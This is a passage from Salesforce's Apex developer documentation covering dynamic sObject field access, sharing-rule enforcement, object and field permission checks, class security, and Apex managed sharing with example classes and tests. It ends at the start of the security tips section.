s.put(f.getsObjectField(), '12345');

The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent
to the anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic
type for any sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you
assign a String value that is too long for the field.

Setting and Retrieving Foreign Keys
Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID
value of a foreign key, use the get or put methods.
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an
ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship
SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to
create a C1 object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the
ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(name = 'x', c2__r = new C2__c(name = 'xxx'));

If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c),
not the record.

158
Working with Data in Apex

Apex Security and Sharing

You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in
a parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){
Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}

Apex Security and Sharing
This chapter covers security and sharing for Apex. You’ll learn about the security of running code and how to add user
permissions for Apex classes. Also, you’ll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is
described. Finally, security tips are provided.

Enforcing Sharing Rules
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken
into account during code execution.
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter
in Apex. executeAnonymous always executes using the full permissions of the current user. For more information
on executeAnonymous, see Anonymous Blocks on page 183.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive
data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They
should be particularly careful with Web services, which can be restricted by permissions, but execute in system context once
they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services
that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the
sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and
field-level security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t
fail to run because of hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The
CWithout class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner
classes, in which code executes under the same sharing context as the caller. It also contains a class that extends it, which
inherits its without sharing setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.

159
Working with Data in Apex

Enforcing Sharing Rules

Account a = [SELECT . . . ];
public static void m() { . . . }
static {
. . .
}
{
. . .
}
public void c() {
. . .
}
}
public without sharing class CWithout {
// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
. . .
public static void m() {
. . .
// This call into CWith operates with enforced sharing rules
// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}
public class CInner {
// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner class.
// When the call finishes, the code execution returns to the sharing mode that was used
to call this inner class.
CWith.m();
}
public class CInnerWithOut exends CWithout {
// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}

Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2
ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
•
•

SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the
user specifies a foreign key value that exists in the organization, but which the current user does not have access to.

160
Working with Data in Apex

Enforcing Object and Field Permissions

Enforcing Object and Field Permissions
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken
into account during code execution. The only exceptions to this rule are Apex code that is executed with the
executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current
user. For more information on executeAnonymous, see Anonymous Blocks on page 183.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your
code by explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result
methods (of Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if
the current user has the necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific
DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject,
respectively. Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check
the current user's read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}

To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}

To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}

To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}

Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in
Salesforce, you can enforce them at the class level by declaring the class with the with sharing keyword. For more information,
see Using the with sharing or without sharing Keywords. If you call the sObject describe result and field describe
result access control methods, the verification of object and field-level permissions is performed in addition to the sharing
rules that are in effect. Sometimes, the access level granted by a sharing rule could conflict with an object-level or field-level
permission.

161
Working with Data in Apex

Class Security

Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets.
You can only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. From Setup, click Develop > Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1.
2.
3.
4.

From Setup, click Develop > Apex Classes.
Click the name of the class that you want to restrict.
Click Security.
Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you
want to disable from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1.
2.
3.
4.
5.

From Setup, click Manage Users > Permission Sets.
Select a permission set.
Click Apex Class Access.
Click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1.
2.
3.
4.

From Setup, click Manage Users > Profiles.
Select a profile.
In the Apex Class Access page or related list, click Edit.
Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex
classes that you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.

Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records.
Sharing access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
This section provides an overview of sharing using Apex:
•
•
•

Understanding Sharing
Sharing a Record Using Apex
Recalculating Apex Managed Sharing

For more information on sharing, see “Setting Your Organization-Wide Sharing Defaults” in the Salesforce online help.
162
Working with Data in Apex

Understanding Apex Managed Sharing

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant
additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use
Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a
related sharing object, similar to an access control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy,
and sharing rules:
Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is
automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records
owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also
implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The
role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more
information, see “Controlling Access Using Hierarchies” in the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records
owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support
sharing logic for apps installed from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing
rules. Also, criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface,
SOAP API, or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user
or group of users. This is generally done by an end-user, for a single record. Only the record owner and users above the
owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users
with the “Modify All” object-level permission for the given object or the “Modify All Data” permission can also manually
share a record. User managed sharing is removed when the record owner changes or when the access granted in the
sharing does not grant additional access beyond the object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only
users with “Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing
is maintained across record owner changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

163
Working with Data in Apex

Understanding Apex Managed Sharing

The Sharing Reason Field
In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field
is called rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related
rowCause value.
•

Force.com Managed Sharing
Reason Field Value

Account Sharing

ImplicitChild

Associated record owner or sharing

ImplicitParent

Owner

Owner

Opportunity Team

Team

Sharing Rule

Rule

Territory Assignment Rule
•

rowCause Value (Used in Apex or the Force.com API)

TerritoryRule

User Managed Sharing
Reason Field Value

Manual Sharing

Manual

Territory Manual
•

rowCause Value (Used in Apex or the Force.com API)

TerritoryManual

Apex Managed Sharing
Reason Field Value

rowCause Value (Used in Apex or the Force.com API)

Defined by developer

Defined by developer

The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the
following access levels:
Access Level

API Name

Description

Private

None

Only the record owner and users above the record owner in the role
hierarchy can view and edit the record. This access level only applies to
the AccountShare object.

Read Only

Read

The specified user or group can view the record only.

Read/Write

Edit

The specified user or group can view and edit the record.

164
Working with Data in Apex

Understanding Apex Managed Sharing

Access Level

API Name

Description

Full Access

All

The specified user or group can view, edit, transfer, share, and delete the
record.
Note: This access level can only be granted with Force.com
managed sharing.

Sharing a Record Using Apex
To access sharing programmatically, you must use the share object associated with the standard or custom object for which
you want to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object
for the Contact object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject
is the name of the custom object:
MyCustomObject__Share

Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access
is determined by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object
Security” in the Salesforce online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and
Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and
permissions such as the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data”
are not tracked with this object.
Every share object has the following properties:
Property Name

Description

objectNameAccessLevel

The level of access that the specified user or group has been granted for a share sObject. The
name of the property is AccessLevel appended to the object name. For example, the property
name for LeadShare object is LeadShareAccessLevel. Valid values are:
• Edit
• Read
• All
Note: The All access level can only be used by Force.com managed sharing.

This field must be set to an access level that is higher than the organization’s default access
level for the parent object. For more information, see Access Levels on page 164.
ParentID

The ID of the object. This field cannot be updated.

RowCause

The reason why the user or group is being granted access. The reason determines the type of
sharing, which controls who can alter the sharing record. This field cannot be updated.

UserOrGroupId

The user or group IDs to which you are granting access. A group can be a public group, role,
or territory. This field cannot be updated.

165
Working with Data in Apex

Understanding Apex Managed Sharing

You can share a standard or custom object with users or groups. Apex sharing is not available for Customer Community users.
For more information about the types of users and groups you can share an object with, see User and Group in the Object
Reference for Salesforce and Force.com.
Creating User Managed Sharing Using Apex
It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes,
the sharing is automatically deleted. The following example class contains a method that shares the job specified by the job
ID with the specified user or group ID with read access. It also includes a test method that validates this method. Before you
save this example class, create a custom object called Job.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){
// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.
jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.
jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.
if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trival access level.
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception is acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
}
else{
// Indicates failure.
return false;
}
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){

166

&&
Working with Data in Apex

Understanding Apex Managed Sharing

// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.
Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.
List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
// Test for only one manual share on job.
System.assertEquals(jShrs.size(), 1, 'Set the object's sharing model to Private.');
// Test attributes of manual share.
System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.
delete j;
// Insert manual share for deleted job id.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}

Important: The object’s organization-wide default access level must not be set to the most permissive access level.
For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164.

Creating Apex Managed Sharing
Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior
through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All
Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record
owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared
a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates
and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different
reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
•

•

The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users
and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation
Workbench.
The name is used when referencing the reason in the API and Apex.

All Apex sharing reason names have the following format:
MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:
Schema.CustomObject__Share.rowCause.SharingReason__c

167
Working with Data in Apex

Understanding Apex Managed Sharing

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c

For more information, see Schema Class on page 1148.
To create an Apex sharing reason:
1.
2.
3.
4.

From Setup, click Create > Objects.
Select the custom object.
Click New in the Apex Sharing Reasons related list.
Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record
in the user interface. The label is also enabled for translation through the Translation Workbench.
5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
6. Click Save.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

Apex Managed Sharing Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that
the recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and
hiring manager access when the job record is created. This example requires a custom object called Job, with two lookup fields
associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing
reasons added called Hiring_Manager and Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
// Declare variables for recruiting and hiring manager sharing
Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){
// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared
recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access
recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level
recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert
jobShrs.add(recruiterShr);

168
Working with Data in Apex

Understanding Apex Managed Sharing

jobShrs.add(hmShr);
}
// Insert sharing records and capture save result
// The false parameter allows for partial processing if multiple records are passed
// into the operation
Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];
// Check if the error is related to a trivial access level
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
}

Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
•
•

If a manual share access level is set to Read and you insert a new one that’s set to Write, the original share rows are updated
to Write, indicating the higher level of access.
If users can access an account because they can access its child records (contact, case, opportunity, and so on), and an
account sharing rule is created, the row cause of the parent implicit share is replaced by the sharing rule row cause, indicating
the higher level of access.
Important: The object’s organization-wide default access level must not be set to the most permissive access level.
For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164.

Recalculating Apex Managed Sharing
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level
changes. The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed
if the access they grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is
deleted when the object’s sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do
the recalculation. You must then associate the class with the custom object, on the custom object's detail page, in the Apex
Sharing Recalculation related list.

169
Working with Data in Apex

Understanding Apex Managed Sharing

Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator
might need to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access
to a user as defined by the application’s logic. You can also use the Database.executeBatch method to programmatically
invoke an Apex managed sharing recalculation.
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation
classes defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, click Monitoring > Apex Jobs or Jobs > Apex Jobs.
Creating an Apex Class for Recalculating Sharing
To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing.
You can implement this interface more than once in your organization. For more information on the methods that must be
implemented, see Using Batch Apex on page 208.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Important: The object’s organization-wide default access level must not be set to the most permissive access level.
For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164.

Apex Managed Sharing Recalculation Example
For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that
the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation.
This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager
and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter.
Before you run this sample, replace the email address with a valid email address that you want to to send error notifications
and job completion notifications to.
global class JobSharingRecalc implements Database.Batchable<sObject> {
// String to hold email address that emails will be sent to.
// Replace its value with a valid email address.
static String emailAddress = 'admin@yourcompany.com';
// The start method is called at the beginning of a sharing recalculation.
// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List<sObject> scope){
// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
// Create a list of Job__Share objects to be inserted.
List<Job__Share> newJobShrs = new List<Job__Share>();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.

170
Working with Data in Apex

Understanding Apex Managed Sharing

List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE Id IN
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared
jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.
newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.
jobRecShr.AccessLevel = 'Edit';
// The ID of the record being shared
jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.
// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.
newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
// Process the save results for insert.
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trivial access level.
// Access levels equal or more permissive than the object's default
// access level are not allowed.
// These sharing records are not required and thus an insert exception
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.

171
Working with Data in Apex

Understanding Apex Managed Sharing

Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
// The finish method is called at the end of a sharing recalculation.
global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}

Testing Apex Managed Sharing Recalculations
This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example.
This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager
and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter.
Before you run this test, set the organization-wide default sharing for Job to Private. Note that since email messages aren’t
sent from tests, and because the batch class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {
// Test for the JobSharingRecalc class
static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
// Insert some test job records.
List<Job__c> testJobs = new List<Job__c>();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);

172
Working with Data in Apex

Understanding Apex Managed Sharing

}
insert testJobs;
Test.startTest();
// Invoke the Batch class.
String jobId = Database.executeBatch(recalc);
Test.stopTest();
// Get the Apex job and verify there are no errors.
AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);
// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
FROM Job__c];
// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);
for(Job__Share jobShr : job.Shares){
// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}

Associating an Apex Class Used for Recalculation
An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1.
2.
3.
4.

From Setup, click Create > Objects.
Select the custom object.
Click New in the Apex Sharing Recalculations related list.
Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
5. Click Save.

173
Working with Data in Apex

Security Tips for Apex and Visualforce Development

Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
